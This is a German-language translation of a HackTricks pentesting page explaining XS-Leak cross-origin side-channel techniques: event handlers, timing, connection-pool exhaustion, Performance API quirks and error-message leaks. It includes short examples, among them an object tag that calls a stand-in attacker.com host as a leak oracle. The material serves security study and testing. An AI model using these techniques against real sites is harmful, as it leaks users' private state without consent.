hacktricks/pentesting-web/xs-search.md

91 KiB

XS-Search/XS-Leaks

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}

Grundinformationen

XS-Search ist eine Methode zur Extraktion von Informationen über verschiedene Ursprünge durch Ausnutzung von Nebenkanalanfälligkeiten.

Wichtige Komponenten, die an diesem Angriff beteiligt sind:

  • Anfällige Webseite: Die Zielwebsite, von der Informationen extrahiert werden sollen.
  • Angreifer-Webseite: Die bösartige Webseite, die vom Angreifer erstellt wurde und die der Opfer besucht, um den Exploit zu hosten.
  • Einbeziehungsmethode: Die Technik, die verwendet wird, um die anfällige Webseite in die Angreifer-Webseite einzubeziehen (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.).
  • Leak-Technik: Techniken, die verwendet werden, um Unterschiede im Zustand der anfälligen Webseite basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden.
  • Zustände: Die beiden potenziellen Bedingungen der anfälligen Webseite, die der Angreifer zu unterscheiden versucht.
  • Erkennbare Unterschiede: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand der anfälligen Webseite abzuleiten.

Erkennbare Unterschiede

Mehrere Aspekte können analysiert werden, um die Zustände der anfälligen Webseite zu unterscheiden:

  • Statuscode: Unterscheidung zwischen verschiedenen HTTP-Antwortstatuscodes über Ursprünge hinweg, wie Serverfehler, Clientfehler oder Authentifizierungsfehler.
  • API-Nutzung: Identifizierung der Nutzung von Web-APIs über Seiten hinweg, die zeigt, ob eine Cross-Origin-Seite eine bestimmte JavaScript-Web-API verwendet.
  • Weiterleitungen: Erkennung von Navigationen zu anderen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden.
  • Seiteninhalt: Beobachtung von Variationen im HTTP-Antwortkörper oder in Seitenunterressourcen, wie der Anzahl der eingebetteten Frames oder Größenunterschieden bei Bildern.
  • HTTP-Header: Feststellung der Anwesenheit oder möglicherweise des Wertes eines bestimmten HTTP-Antwortheaders, einschließlich Header wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy.
  • Timing: Feststellung konsistenter Zeitunterschiede zwischen den beiden Zuständen.

Einbeziehungsmethoden

  • HTML-Elemente: HTML bietet verschiedene Elemente zur Einbeziehung von Ressourcen über verschiedene Ursprünge, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter https://github.com/cure53/HTTPLeaks.
  • Frames: Elemente wie iframe, object und embed können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite keinen Schutz vor Einbettung hat, kann JavaScript auf das Fensterobjekt der eingebetteten Ressource über die Eigenschaft contentWindow zugreifen.
  • Pop-ups: Die window.open-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen Fenster-Handle, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Einbettungs- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein.
  • JavaScript-Anfragen: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von XMLHttpRequests oder der Fetch API. Diese Methoden bieten eine präzise Kontrolle über die Anfrage, z. B. die Entscheidung, HTTP-Weiterleitungen zu folgen.

Leak-Techniken

  • Ereignishandler: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignishandler wie onload und onerror Einblicke in den Erfolg oder Misserfolg des Ladens von Ressourcen geben.
  • Fehlermeldungen: JavaScript-Ausnahmen oder spezielle Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Anwesenheit und Abwesenheit bereitstellen.
  • Globale Grenzen: Physische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durch den Browser durchgesetzte Grenzen, können signalisieren, wenn ein Schwellenwert erreicht ist, und dienen als Leak-Technik.
  • Globaler Zustand: Erkennbare Interaktionen mit den globalen Zuständen der Browser (z. B. die History-Schnittstelle) können ausgenutzt werden. Beispielsweise kann die Anzahl der Einträge im Verlauf eines Browsers Hinweise auf Cross-Origin-Seiten geben.
  • Performance-API: Diese API bietet Leistungsdetails der aktuellen Seite, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, und ermöglicht Rückschlüsse auf angeforderte Ressourcen.
  • Lesbare Attribute: Einige HTML-Attribute sind über verschiedene Ursprünge hinweg lesbar und können als Leak-Technik verwendet werden. Beispielsweise ermöglicht die window.frame.length-Eigenschaft JavaScript, die in einer Webseite eingebetteten Frames über verschiedene Ursprünge hinweg zu zählen.

XSinator-Tool & Papier

XSinator ist ein automatisches Tool, um Browser gegen mehrere bekannte XS-Leaks zu überprüfen, die in seinem Papier erklärt werden: https://xsinator.com/paper.pdf

Sie können auf das Tool zugreifen unter https://xsinator.com/

{% hint style="warning" %} Ausgeschlossene XS-Leaks: Wir mussten XS-Leaks ausschließen, die auf Service-Workern basieren, da sie andere Leaks in XSinator stören würden. Darüber hinaus haben wir uns entschieden, XS-Leaks auszuschließen, die auf Fehlkonfigurationen und Bugs in einer bestimmten Webanwendung basieren. Zum Beispiel Fehlkonfigurationen bei CrossOrigin Resource Sharing (CORS), postMessage-Leaks oder Cross-Site Scripting. Außerdem haben wir zeitbasierte XS-Leaks ausgeschlossen, da sie oft langsam, laut und ungenau sind. {% endhint %}


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Zeitbasierte Techniken

Einige der folgenden Techniken werden Zeit als Teil des Prozesses verwenden, um Unterschiede in den möglichen Zuständen der Webseiten zu erkennen. Es gibt verschiedene Möglichkeiten, Zeit in einem Webbrowser zu messen.

Uhren: Die performance.now() API ermöglicht Entwicklern, hochauflösende Zeitmessungen zu erhalten.
Es gibt eine beträchtliche Anzahl von APIs, die Angreifer missbrauchen können, um implizite Uhren zu erstellen: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-Animationen und andere.
Für weitere Informationen: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Ereignishandler-Techniken

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Das Codebeispiel versucht, Skripte von JS zu laden, aber andere Tags wie Objekte, Stylesheets, Bilder, Audios könnten ebenfalls verwendet werden. Darüber hinaus ist es auch möglich, das Tag direkt einzufügen und die onload- und onerror-Ereignisse innerhalb des Tags zu deklarieren (anstatt es von JS einzufügen).

Es gibt auch eine skriptlose Version dieses Angriffs:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In diesem Fall, wenn example.com/404 nicht gefunden wird, wird attacker.com/?error geladen.

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

Diese Technik ist wie die vorherige, aber der Angreifer wird auch eine Aktion erzwingen, die eine relevante Zeitspanne benötigt, wenn die Antwort positiv oder negativ ist, und diese Zeit messen.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

Die Zeit, die benötigt wird, um eine Ressource abzurufen, kann gemessen werden, indem die unload und beforeunload Ereignisse genutzt werden. Das beforeunload Ereignis wird ausgelöst, wenn der Browser dabei ist, zu einer neuen Seite zu navigieren, während das unload Ereignis auftritt, wenn die Navigation tatsächlich stattfindet. Der Zeitunterschied zwischen diesen beiden Ereignissen kann berechnet werden, um die Dauer zu bestimmen, die der Browser mit dem Abrufen der Ressource verbracht hat.

Sandboxed Frame Timing + onload

Es wurde beobachtet, dass in Abwesenheit von Framing-Schutzmaßnahmen die Zeit, die benötigt wird, um eine Seite und ihre Unterressourcen über das Netzwerk zu laden, von einem Angreifer gemessen werden kann. Diese Messung ist typischerweise möglich, da der onload-Handler eines iframes nur nach Abschluss des Ladens der Ressourcen und der Ausführung von JavaScript ausgelöst wird. Um die Variabilität zu umgehen, die durch die Ausführung von Skripten eingeführt wird, könnte ein Angreifer das sandbox Attribut innerhalb des <iframe> verwenden. Die Einbeziehung dieses Attributs schränkt zahlreiche Funktionen ein, insbesondere die Ausführung von JavaScript, wodurch eine Messung ermöglicht wird, die überwiegend von der Netzwerkleistung beeinflusst wird.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Seiteninhalt
  • More info:
  • Summary: Wenn Sie die Seite dazu bringen können, einen Fehler anzuzeigen, wenn auf den richtigen Inhalt zugegriffen wird, und sie korrekt lädt, wenn auf beliebigen Inhalt zugegriffen wird, können Sie eine Schleife erstellen, um alle Informationen zu extrahieren, ohne die Zeit zu messen.
  • Code Example:

Angenommen, Sie können die Seite mit dem geheimen Inhalt in ein Iframe einfügen.

Sie können das Opfer dazu bringen, nach der Datei zu suchen, die "flag" enthält, indem Sie ein Iframe verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das onload-Ereignis immer mindestens einmal ausgeführt wird. Dann können Sie die URL des iframes ändern, indem Sie nur den Inhalt des Hash innerhalb der URL ändern.

Zum Beispiel:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Wenn die erste URL erfolgreich geladen wurde, wird das onload-Ereignis nicht erneut ausgelöst, wenn der Hash-Teil der URL geändert wird. Aber wenn die Seite beim Laden einen Fehler hatte, wird das onload-Ereignis erneut ausgelöst.

Dann können Sie unterscheiden zwischen einer korrekt geladenen Seite oder einer Seite, die einen Fehler aufweist, wenn sie aufgerufen wird.

Javascript-Ausführung

  • Inclusion Methods: Frames
  • Detectable Difference: Seiteninhalt
  • More info:
  • Summary: Wenn die Seite den sensiblen Inhalt oder einen Inhalt zurückgibt, der vom Benutzer kontrolliert werden kann. Der Benutzer könnte gültigen JS-Code im negativen Fall festlegen, um jeden Versuch innerhalb von <script>-Tags zu laden, sodass im negativen Fall der Code des Angreifers ausgeführt wird, und in positiven Fällen wird nichts ausgeführt.
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML-Elemente
  • Detectable Difference: Statuscode & Header
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) ist eine Sicherheitsmaßnahme, die verhindert, dass Webseiten bestimmte sensible Cross-Origin-Ressourcen laden, um sich vor Angriffen wie Spectre zu schützen. Angreifer können jedoch das schützende Verhalten ausnutzen. Wenn eine Antwort, die dem CORB unterliegt, einen CORB-geschützten Content-Type mit nosniff und einem 2xx-Statuscode zurückgibt, entfernt CORB den Body und die Header der Antwort. Angreifer, die dies beobachten, können die Kombination aus dem Statuscode (der Erfolg oder Fehler anzeigt) und dem Content-Type (der angibt, ob er durch CORB geschützt ist) ableiten, was zu potenziellen Informationslecks führen kann.
  • Code Example:

Überprüfen Sie den Link für weitere Informationen über den Angriff.

onblur

Es ist möglich, eine Seite innerhalb eines iframes zu laden und die #id_value zu verwenden, um die Seite auf das Element des iframes mit dem angegebenen id zu fokussieren. Wenn dann ein onblur-Signal ausgelöst wird, existiert das ID-Element.
Sie können denselben Angriff mit portal-Tags durchführen.

postMessage-Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API-Nutzung
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Sensible Informationen aus einem postMessage sammeln oder die Anwesenheit von postMessages als Orakel verwenden, um den Status des Benutzers auf der Seite zu kennen.
  • Code Example: Jeder Code, der auf alle postMessages hört.

Anwendungen nutzen häufig postMessage-Broadcasts, um über verschiedene Ursprünge hinweg zu kommunizieren. Diese Methode kann jedoch unbeabsichtigt sensible Informationen offenbaren, wenn der targetOrigin-Parameter nicht ordnungsgemäß angegeben ist, sodass jedes Fenster die Nachrichten empfangen kann. Darüber hinaus kann der bloße Empfang einer Nachricht als Orakel fungieren; bestimmte Nachrichten könnten beispielsweise nur an Benutzer gesendet werden, die angemeldet sind. Daher kann das Vorhandensein oder Fehlen dieser Nachrichten Informationen über den Status oder die Identität des Benutzers offenbaren, z. B. ob sie authentifiziert sind oder nicht.

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Zugang heute erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Globale Grenztechniken

WebSocket-API

Es ist möglich zu identifizieren, ob und wie viele WebSocket-Verbindungen eine Zielseite verwendet. Dies ermöglicht es einem Angreifer, Anwendungszustände zu erkennen und Informationen zu leaken, die mit der Anzahl der WebSocket-Verbindungen verbunden sind.

Wenn ein Ursprung die maximale Anzahl von WebSocket-Verbindungsobjekten verwendet, unabhängig von ihrem Verbindungsstatus, führt die Erstellung von neuen Objekten zu JavaScript-Ausnahmen. Um diesen Angriff auszuführen, öffnet die Angreifer-Website die Ziel-Website in einem Pop-up oder Iframe und versucht dann, nachdem die Ziel-Webseite geladen wurde, die maximale Anzahl von WebSocket-Verbindungen zu erstellen. Die Anzahl der ausgelösten Ausnahmen ist die Anzahl der von der Ziel-Website verwendeten WebSocket-Verbindungen.

Zahlungs-API

Dieses XS-Leak ermöglicht es einem Angreifer, zu erkennen, wann eine Cross-Origin-Seite eine Zahlungsanforderung initiiert.

Da immer nur eine Zahlungsanforderung aktiv sein kann, schlägt jeder weitere Versuch, diese API zu verwenden, fehl und verursacht eine JavaScript-Ausnahme. Der Angreifer kann dies ausnutzen, indem er periodisch versucht, die Benutzeroberfläche der Zahlungs-API anzuzeigen. Wenn ein Versuch eine Ausnahme verursacht, verwendet die Ziel-Website sie derzeit. Der Angreifer kann diese periodischen Versuche verbergen, indem er die Benutzeroberfläche sofort nach der Erstellung schließt.

Timing des Event-Loops

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript arbeitet mit einem einzelnen, threadbasierten Event-Loop-Nebenläufigkeitsmodell, was bedeutet, dass es nur eine Aufgabe gleichzeitig ausführen kann. Diese Eigenschaft kann ausgenutzt werden, um zu messen, wie lange Code aus einem anderen Ursprung benötigt, um ausgeführt zu werden. Ein Angreifer kann die Ausführungszeit seines eigenen Codes im Event-Loop messen, indem er kontinuierlich Ereignisse mit festen Eigenschaften dispatcht. Diese Ereignisse werden verarbeitet, wenn der Ereignispool leer ist. Wenn andere Ursprünge ebenfalls Ereignisse an denselben Pool dispatchen, kann ein Angreifer die Zeit ableiten, die diese externen Ereignisse benötigen, indem er Verzögerungen bei der Ausführung seiner eigenen Aufgaben beobachtet. Diese Methode zur Überwachung des Event-Loops auf Verzögerungen kann die Ausführungszeit von Code aus verschiedenen Ursprüngen offenbaren und potenziell sensible Informationen preisgeben.

{% hint style="warning" %} Bei einer Ausführungszeitmessung ist es möglich, Netzwerkfaktoren zu eliminieren, um genauere Messungen zu erhalten. Zum Beispiel, indem Sie die Ressourcen, die von der Seite verwendet werden, vor dem Laden laden. {% endhint %}

Beschäftigter Event-Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Eine Methode zur Messung der Ausführungszeit einer Weboperation besteht darin, absichtlich den Event-Loop eines Threads zu blockieren und dann zu messen, wie lange es dauert, bis der Event-Loop wieder verfügbar ist. Durch das Einfügen einer blockierenden Operation (wie einer langen Berechnung oder einem synchronen API-Aufruf) in den Event-Loop und das Überwachen der Zeit, die benötigt wird, damit nachfolgender Code mit der Ausführung beginnt, kann man die Dauer der Aufgaben ableiten, die während der Blockierungszeit im Event-Loop ausgeführt wurden. Diese Technik nutzt die einheitliche Natur des Event-Loops von JavaScript aus, bei dem Aufgaben sequenziell ausgeführt werden, und kann Einblicke in die Leistung oder das Verhalten anderer Operationen geben, die denselben Thread teilen.
  • Code Example:

Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sperren des Event-Loops besteht darin, dass sie potenziell Site Isolation umgeht. Site Isolation ist eine Sicherheitsfunktion, die verschiedene Websites in separate Prozesse trennt, um zu verhindern, dass bösartige Websites direkt auf sensible Daten anderer Websites zugreifen. Durch die Beeinflussung der Ausführungszeit eines anderen Ursprungs über den gemeinsamen Event-Loop kann ein Angreifer indirekt Informationen über die Aktivitäten dieses Ursprungs extrahieren. Diese Methode beruht nicht auf dem direkten Zugriff auf die Daten des anderen Ursprungs, sondern beobachtet die Auswirkungen der Aktivitäten dieses Ursprungs auf den gemeinsamen Event-Loop und umgeht so die Schutzbarrieren, die durch Site Isolation eingerichtet wurden.

{% hint style="warning" %} Bei einer Ausführungszeitmessung ist es möglich, Netzwerkfaktoren zu eliminieren, um genauere Messungen zu erhalten. Zum Beispiel, indem Sie die Ressourcen, die von der Seite verwendet werden, vor dem Laden laden. {% endhint %}

Verbindungs-Pool

  • Inclusion Methods: JavaScript-Anfragen
  • Detectable Difference: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Ein Angreifer könnte alle Sockets außer 1 sperren, die Ziel-Webseite laden und gleichzeitig eine andere Seite laden. Die Zeit, bis die letzte Seite zu laden beginnt, ist die Zeit, die die Zielseite zum Laden benötigt hat.
  • Code Example:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Browser verwenden Sockets für die Serverkommunikation, aber aufgrund der begrenzten Ressourcen des Betriebssystems und der Hardware sind Browser gezwungen, ein Limit für die Anzahl der gleichzeitigen Sockets festzulegen. Angreifer können diese Einschränkung durch die folgenden Schritte ausnutzen:

  1. Bestimmen Sie das Socket-Limit des Browsers, zum Beispiel 256 globale Sockets.
  2. Besetzen Sie 255 Sockets für längere Zeit, indem Sie 255 Anfragen an verschiedene Hosts initiieren, die darauf ausgelegt sind, die Verbindungen offen zu halten, ohne sie abzuschließen.
  3. Verwenden Sie den 256. Socket, um eine Anfrage an die Zielseite zu senden.
  4. Versuchen Sie eine 257. Anfrage an einen anderen Host. Da alle Sockets in Verwendung sind (gemäß den Schritten 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket verfügbar wird. Die Verzögerung, bevor diese Anfrage fortgesetzt wird, gibt dem Angreifer zeitliche Informationen über die Netzwerkaktivität, die mit dem 256. Socket (dem Socket der Zielseite) verbunden ist. Diese Ableitung ist möglich, weil die 255 Sockets aus Schritt 2 weiterhin beschäftigt sind, was bedeutet, dass jeder neu verfügbare Socket derjenige sein muss, der aus Schritt 3 freigegeben wurde. Die Zeit, die benötigt wird, damit der 256. Socket verfügbar wird, ist somit direkt mit der Zeit verbunden, die benötigt wird, um die Anfrage an die Zielseite abzuschließen.

Für weitere Informationen: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Verbindungs-Pool nach Ziel

  • Inclusion Methods: JavaScript-Anfragen
  • Detectable Difference: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
  • More info:
  • Summary: Es ist wie die vorherige Technik, aber anstatt alle Sockets zu verwenden, setzt Google Chrome ein Limit von 6 gleichzeitigen Anfragen an denselben Ursprung. Wenn wir 5 blockieren und dann eine 6. Anfrage starten, können wir sie zeitlich messen. Wenn es uns gelingt, die Opferseite dazu zu bringen, mehr Anfragen an denselben Endpunkt zu senden, um einen Status der Seite zu erkennen, wird die 6. Anfrage länger dauern und wir können dies erkennen.

Performance-API-Techniken

Die Performance API bietet Einblicke in die Leistungskennzahlen von Webanwendungen, die durch die Resource Timing API weiter bereichert werden. Die Resource Timing API ermöglicht die Überwachung detaillierter Netzwerk-Anfragezeiten, wie z. B. die Dauer der Anfragen. Wenn Server den Header Timing-Allow-Origin: * in ihren Antworten einfügen, werden zusätzliche Daten wie die Übertragungsgröße und die Domain-Lookup-Zeit verfügbar.

Diese Fülle von Daten kann über Methoden wie performance.getEntries oder performance.getEntriesByName abgerufen werden, die einen umfassenden Überblick über leistungsbezogene Informationen bieten. Darüber hinaus ermöglicht die API die Messung von Ausführungszeiten, indem die Differenz zwischen Zeitstempeln berechnet wird, die von performance.now() erhalten werden. Es ist jedoch zu beachten, dass die Präzision von performance.now() in bestimmten Browsern wie Chrome auf Millisekunden beschränkt sein kann, was die Granularität der Zeitmessungen beeinträchtigen könnte.

Neben Zeitmessungen kann die Performance-API auch für sicherheitsrelevante Einblicke genutzt werden. Beispielsweise kann das Vorhandensein oder Fehlen von Seiten im performance-Objekt in Chrome auf die Anwendung von X-Frame-Options hinweisen. Insbesondere wird eine Seite, die aufgrund von X-Frame-Options daran gehindert wird, in einem Frame gerendert zu werden, nicht im performance-Objekt aufgezeichnet, was einen subtilen Hinweis auf die Rahmenrichtlinien der Seite gibt.

Fehler-Leak

Es ist möglich, zwischen HTTP-Antwortstatuscodes zu unterscheiden, da Anfragen, die zu einem Fehler führen, keinen Leistungseintrag erstellen.

Stil-Neuladefehler

In der vorherigen Technik wurden auch zwei Fälle identifiziert, in denen Browserfehler in GC dazu führen, dass Ressourcen zweimal geladen werden, wenn sie nicht geladen werden können. Dies führt zu mehreren Einträgen in der Performance-API und kann somit erkannt werden.

Anfrage-Zusammenführungsfehler

Die Technik wurde in einer Tabelle in dem erwähnten Papier gefunden, aber es wurde keine Beschreibung der Technik gefunden. Sie können jedoch den Quellcode überprüfen, um danach zu suchen unter https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Leere Seiten-Leak

Ein Angreifer kann erkennen, ob eine Anfrage zu einem leeren HTTP-Antwortkörper geführt hat, da leere Seiten in einigen Browsern keinen Leistungseintrag erstellen.

XSS-Auditor-Leak

In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verhinderung von Cross-Site-Scripting (XSS)-Angriffen gedacht war, paradoxerweise ausgenutzt werden, um sensible Informationen zu leaken. Obwohl dieses integrierte Feature aus Google Chrome (GC) entfernt wurde, ist es immer noch in SA vorhanden. 2013 zeigten Braun und Heiderich, dass der XSS-Auditor versehentlich legitime Skripte blockieren konnte, was zu falsch positiven Ergebnissen führte. Auf dieser Grundlage entwickelten Forscher Techniken, um Informationen zu extrahieren und spezifische Inhalte auf Cross-Origin-Seiten zu erkennen, ein Konzept, das als XS-Leaks bekannt ist und ursprünglich von Terada berichtet und von Heyes in einem Blogbeitrag ausgeführt wurde. Obwohl diese Techniken spezifisch für den XSS-Auditor in GC waren, wurde festgestellt, dass in SA Seiten, die vom XSS-Auditor blockiert werden, keine Einträge in der Performance-API generieren, was eine Methode offenbart, durch die sensible Informationen möglicherweise weiterhin geleakt werden könnten.

X-Frame-Leak

Wenn eine Seite nicht erlaubt ist, in einem iframe gerendert zu werden, erstellt sie keinen Leistungseintrag. Infolgedessen kann ein Angreifer den Antwortheader X-Frame-Options erkennen.
Das Gleiche passiert, wenn Sie ein embed-Tag verwenden.

Download-Erkennung

Ähnlich wie beim beschriebenen XS-Leak erstellt eine Ressource, die heruntergeladen wird, aufgrund des ContentDisposition-Headers ebenfalls keinen Leistungseintrag. Diese Technik funktioniert in allen gängigen Browsern.

Weiterleitungsstart-Leak

Wir fanden einen XS-Leak-Fall, der das Verhalten einiger Browser ausnutzt, die zu viele Informationen für Cross-Origin-Anfragen protokollieren. Der Standard definiert eine Teilmenge von Attributen, die für Cross-Origin-Ressourcen auf null gesetzt werden sollten. In SA ist es jedoch möglich zu erkennen, ob der Benutzer von der Zielseite weitergeleitet wird, indem die Performance-API abgefragt und die redirectStart-Zeitdaten überprüft werden.

Dauer-Weiterleitungs-Leak

In GC ist die Dauer für Anfragen, die zu einer Weiterleitung führen, negativ und kann somit von Anfragen, die nicht zu einer Weiterleitung führen, unterschieden werden.

CORP-Leak

In einigen Fällen kann der nextHopProtocol-Eintrag als Leak-Technik verwendet werden. In GC, wenn der CORP-Header gesetzt ist, wird der nextHopProtocol leer sein. Beachten Sie, dass SA für CORP-aktivierte Ressourcen überhaupt keinen Leistungseintrag erstellt.

Service Worker

Service Worker sind ereignisgesteuerte Skriptkontexte, die an einem Ursprung ausgeführt werden. Sie laufen im Hintergrund einer Webseite und können Ressourcen abfangen, ändern und cachen, um Offline-Webanwendungen zu erstellen.
Wenn eine Ressource, die von einem Service Worker zwischengespeichert wurde, über ein iframe aufgerufen wird, wird die Ressource aus dem Cache des Service Workers geladen.
Um zu erkennen, ob die Ressource aus dem Cache des Service Workers geladen wurde, kann die Performance-API verwendet werden.
Dies könnte auch mit einem Timing-Angriff durchgeführt werden (siehe das Papier für weitere Informationen).

Cache

Mit der Performance-API ist es möglich zu überprüfen, ob eine Ressource zwischengespeichert ist.

Netzwerkdauer

Fehlernachrichtentechnik

Medienfehler

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

Die MediaError-Schnittstelle hat eine Nachrichten-Eigenschaft, die Ressourcen eindeutig identifiziert, die erfolgreich mit einem bestimmten String geladen werden. Ein Angreifer kann diese Funktion ausnutzen, indem er den Inhalt der Nachricht beobachtet und so den Antwortstatus einer Cross-Origin-Ressource ableitet.

CORS-Fehler

Diese Technik ermöglicht es einem Angreifer, das Ziel einer Umleitung einer Cross-Origin-Website zu extrahieren, indem er ausnutzt, wie Webkit-basierte Browser CORS-Anfragen behandeln. Insbesondere wenn eine CORS-aktivierte Anfrage an eine Zielseite gesendet wird, die eine Umleitung basierend auf dem Benutzerstatus ausgibt, und der Browser die Anfrage anschließend ablehnt, wird die vollständige URL des Ziels der Umleitung in der Fehlermeldung offengelegt. Diese Schwachstelle offenbart nicht nur die Tatsache der Umleitung, sondern gibt auch den Endpunkt der Umleitung und alle sensiblen Abfrageparameter preis, die sie enthalten kann.

SRI-Fehler

Ein Angreifer kann ausführliche Fehlermeldungen ausnutzen, um die Größe von Cross-Origin-Antworten abzuleiten. Dies ist möglich aufgrund des Mechanismus der Subresource Integrity (SRI), der das Integritätsattribut verwendet, um zu validieren, dass abgerufene Ressourcen, oft von CDNs, nicht manipuliert wurden. Damit SRI bei Cross-Origin-Ressourcen funktioniert, müssen diese CORS-aktiviert sein; andernfalls unterliegen sie keinen Integritätsprüfungen. In Sicherheitsbehauptungen (SA) kann, ähnlich wie beim CORS-Fehler XS-Leak, eine Fehlermeldung erfasst werden, nachdem eine Fetch-Anfrage mit einem Integritätsattribut fehlschlägt. Angreifer können absichtlich diesen Fehler auslösen, indem sie einen falschen Hashwert dem Integritätsattribut einer beliebigen Anfrage zuweisen. In SA offenbart die resultierende Fehlermeldung unbeabsichtigt die Inhaltslänge der angeforderten Ressource. Diese Informationsleckage ermöglicht es einem Angreifer, Variationen in der Antwortgröße zu erkennen, was den Weg für ausgeklügelte XS-Leak-Angriffe ebnet.

CSP-Verletzung/Erkennung

Ein XS-Leak kann die CSP verwenden, um zu erkennen, ob eine Cross-Origin-Website zu einem anderen Ursprung umgeleitet wurde. Dieses Leck kann die Umleitung erkennen, aber zusätzlich wird die Domain des Umleitungsziels offengelegt. Die Grundidee dieses Angriffs besteht darin, die Ziel-Domain auf der Angreifer-Website zuzulassen. Sobald eine Anfrage an die Ziel-Domain gesendet wird, leitet sie zu einer Cross-Origin-Domain um. CSP blockiert den Zugriff darauf und erstellt einen Verletzungsbericht, der als Leak-Technik verwendet wird. Je nach Browser kann dieser Bericht den Zielort der Umleitung offenbaren.
Moderne Browser zeigen nicht die URL an, zu der umgeleitet wurde, aber man kann dennoch erkennen, dass eine Cross-Origin-Umleitung ausgelöst wurde.

Cache

Browser könnten einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrem Ursprung ist es möglich zu deduzieren, ob eine Zielseite eine bestimmte Datei angefordert hat.

